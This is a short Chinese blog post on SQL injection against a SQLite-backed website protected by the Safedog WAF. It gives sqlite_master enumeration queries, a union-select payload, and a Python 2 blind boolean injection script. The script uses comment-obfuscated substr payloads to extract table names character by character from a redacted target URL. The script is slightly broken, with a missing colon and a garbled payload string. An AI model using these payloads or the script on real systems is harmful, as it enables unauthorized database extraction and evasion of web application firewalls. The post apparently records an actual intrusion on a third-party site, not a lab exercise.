Sqlite注入测试

测试了一个网站是Sqlite数据库，还装有安全狗，绕过了防护，找到Payload，写了一个Python脚本来跑表，这里总结一下：

取得sqlite数据库里所有的表名

查询table，type 段是‘table‘，name段是table的名字,

so: select name from sqlite_master where type=‘table‘ order by name;

查询一条记录：select name from sqlite_master where type=‘table‘ order by name limit 0,1

sqlite_version(*) 返回SQLite的版本

与MySQL5.x类似的,Sqlite存在与information_schema类似的?一个表,默认并不显示,名为sqlite_master,表中的字段有type,name,tbl_name,rootpage,sql,?较有价值的是sql字段

union select 1,sql,2,3 from sqlite_master

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import urllib
import urllib2

payloads = ‘[email protected]_.abcdefghijklmnopqrstuvwxyz‘

header = { ‘User-Agent‘ : ‘Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)‘  }
values={}
print ‘Start to retrive user:‘
user= ‘‘

for i in range(1, 15):
    for payload in payloads
        values[‘fromCity‘]="xxx‘/**a*/and/**a*/"+"substr((select name from sqlite_master where type=‘table‘ order by name limit 0,1),%s,1)=‘%s‘--" %(i,str(payload))

        data = urllib.urlencode(values)
        url = "http://www.xxxx.com/xxxx.aspx"
        geturl = url+‘?‘+data
        request = urllib2.Request(geturl,headers=header)
        response = urllib2.urlopen(request,timeout=5)

        result=response.read()
        print ‘.‘,
        if result.count(‘HO1110‘)>0:
            user += payload
            print ‘\n\n[in progress]‘, user,
            break

print ‘\n\n[Done]  user is %s‘ % user

参考文章：

PHP/Sqlite下常见漏洞浅析：http://www.2cto.com/Article/201410/342032.html